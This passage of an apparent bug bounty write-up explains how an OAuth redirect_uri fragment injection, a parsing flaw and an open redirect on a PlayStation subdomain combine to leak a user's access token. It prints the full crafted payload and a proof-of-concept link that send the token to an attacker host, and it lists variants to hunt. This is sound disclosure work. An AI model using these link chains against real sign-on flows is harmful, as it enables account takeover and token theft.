Step 2: redirect to my.playstation.com
To make the first redirect land on my.playstation.com, targetOrigin=https://my.playstation.com is placed before returnRoute in the fragment:
#targetOrigin=https://my.playstation.com&returnRoute=/auth/response.html?...
excludeQueryParams=true is added so that the original query string is not appended a second time.
Step 3: redirect to docs.playstation.com and then to the attacker
parseResponse joins the hash fragment and the query string with &, with the query string placed after the fragment. If redirect_uri ends with the payload built so far, all of the query parameters are pulled into returnRoute as well, because their = and & characters are encoded and therefore included in the target address.
To reach docs.playstation.com and then the attacker site, the query string of redirect_uri carries:
baseUrl=/&targetOrgin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com
The final payload is:
https://my.playstation.com/auth/response.html?requestID=external_request_3b961caf-d776-48bd-953e-fca6a0526d91&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://www.attacker.com#targetOrigin=https://my.playstation.com&excludeQueryParams=true&returnRoute=/auth/response.html?
Step 4: the proof-of-concept link
The researcher wrapped the payload in the authorisation endpoint, so that a logged-in victim who opens the link goes through the whole chain:
https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%[redacted]%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%[redacted]%2Ckamaji%[redacted]%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3A%2F%2Fmy.playstation.com%2Fauth%2Fresponse.html%3FrequestID%3Dexternal_request_3b961caf-d776-48bd-953e-fca6a0526d91%26baseUrl%3D%2F%26targetOrigin%3Dhttps%3A%2F%2Fdocs.playstation.com%26returnRoute%3D%2Fconsumers%2Fauth%2Fpsn_oauth2%3Fcallback_url%3Dhttps%3A%2F%2Fnnez-poc.000webhostapp.com%[redacted].html%23targetOrigin%3Dhttps%3A%2F%2Fmy.playstation.com%26excludeQueryParams%3Dtrue%26returnRoute%3D%2Fauth%2Fresponse.html%3F
In this link the final destination is the researcher's own page, which automatically extracts the access token from the Referer header. The redirect_uri parameter is the URL-encoded form of the final payload, with the attacker page substituted for https://www.attacker.com.
Root cause
Three weaknesses combine:
- The
redirect_uriat the authorisation endpoint is checked only by origin, so the path, query and fragment after the origin are attacker-controlled. This is what allows a fragment to be injected into the redirect URI in the first place. /auth/response.htmlmerges the hash fragment and the query string into one string and parses it with&and=as separators. The?-encoding step inconvertToObjectturns attacker-supplied separators into encoded data, so token material that arrives in the fragment can be folded into the value ofreturnRouteand then emitted as part of a query string.- The open redirect on docs.playstation.com lets the chain leave the
playstation.comdomain. The regular expression insendResponseToApponly checks the first hop, so a redirect to a PlayStation subdomain that is itself open passes the check and the second hop goes anywhere.
Once the token is in the query string of the my.playstation.com address, the browser's default referrer behaviour sends that address to the next site in the chain, and the token is disclosed.
Impact
An attacker who gets a logged-in victim to open the crafted link can obtain the victim's access token for my.playstation.com and use it to access the victim's resources on that site. The attack requires the victim to be logged in to PlayStation Network and to follow the link; the report does not describe any other precondition. The JWT issued by docs.playstation.com is valid only on docs.playstation.com.
Fix
The report does not describe the fix that was applied. The weaknesses above suggest the areas that need attention: validating the full redirect_uri rather than only its origin, avoiding the merge of fragment and query string into a single separator-parsed string on /auth/response.html, and removing the open redirect on docs.playstation.com so that the first-hop regular expression is not the only barrier.
Variants to test
- Fragment injection into
redirect_uri. On any OAuth or single sign-on flow where the redirect URI is checked by origin only, append a fragment containing parameters the callback endpoint understands. A positive result is the callback parsing attacker-chosen names from the fragment. - Separator smuggling through
?encoding. Look for parsers that encode everything after a?before splitting on&and=. If a value can absorb later parameters, try to move sensitive data into a parameter that is reflected into an address, a redirect or aReferer. - First-hop-only redirect allowlists. Where a redirect target is checked against a domain regular expression, look for any subdomain in that domain with its own open redirect. A positive result is a chain that passes the check and then leaves the domain.
- Token in fragment versus query. Any flow that returns tokens in a fragment and then navigates to another site is worth testing for a way to move the token into the query string, because fragments are not sent in
Referer.
Hunting notes
This bug lives at the seam between an authentication callback and a redirect helper. The signals during recon are an endpoint whose JavaScript builds a redirect target from several query parameters, a domain regular expression used as the only guard, and a requestID-style switch with an external or default branch that performs a navigation. Reading the callback's parsing code for how it joins the fragment and the query string is usually where the interesting behaviour appears. The researcher built a single link that, for a logged-in user, carries the token to a page under the researcher's control, which extracts it from the Referer header.
Glossary
- Access token: a long string that acts as a temporary key proving you are logged in, so a site can let you in without your password.
- API: a service that one program talks to on behalf of another, here the login service that issues tokens.
- Authorisation code: a short-lived code handed to a site after login, which the site exchanges for an access token.
- Callback: the address a service sends you back to after you log in or approve something.
- Callback URL: the address a service is asked to send you to when it is finished.
- Client ID: a public identifier for an application that uses a login service.
- Consumer token: a token seen in the captured request, separate from the my.playstation.com access token.
- Delimiter: a character used to separate parts of a string, such as
&between pairs and=between a name and a value. - Fragment (hash fragment): the part of a web address after
#, used by the page itself and not sent to the next site. - Hash fragment: another name for the fragment.
- Header: extra information a browser or server attaches to a request or response.
- HTTP request: the message a browser sends to a server to ask for a page or data.
- Iframe: a small window embedded inside a web page that shows another page.
- JWT (JSON Web Token): a signed string a server can check without looking anything up; here valid only on docs.playstation.com.
- Open redirect: a situation where a site will forward you to any address someone puts in a link.
- Origin: the scheme plus the domain, for example
https://my.playstation.com. - OAuth: a standard way for a site to let you log in through another service and receive a token.
- Parameter: a named value in a web address, written as
name=value. - postMessage: a browser feature that lets one page send data to another window.
- Query string: the part of a web address after
?, made ofname=valuepairs joined by&. - Redirect: a server or script telling the browser to go to another address.
- Redirect URI: the address a login service is told to send you back to after login.
- Referer header: a standard header in which the browser tells the next site which page you came from.
- Regular expression: a pattern used to check whether text has a certain shape.
- Scope: the set of systems a bug bounty programme allows researchers to test.
- Single sign-on (SSO): logging in once and being recognised by several related sites.
- Subdomain: a site that sits under a larger domain, such as
docs.playstation.comunderplaystation.com. - Switch statement: a programming construct that picks one branch based on a value.
- URL-encoding: replacing characters such as
&and=with codes like%26and%3Dso they are treated as plain text. - User agent: the header that identifies the browser and operating system.
- Victim: the person whose account an attacker is trying to reach.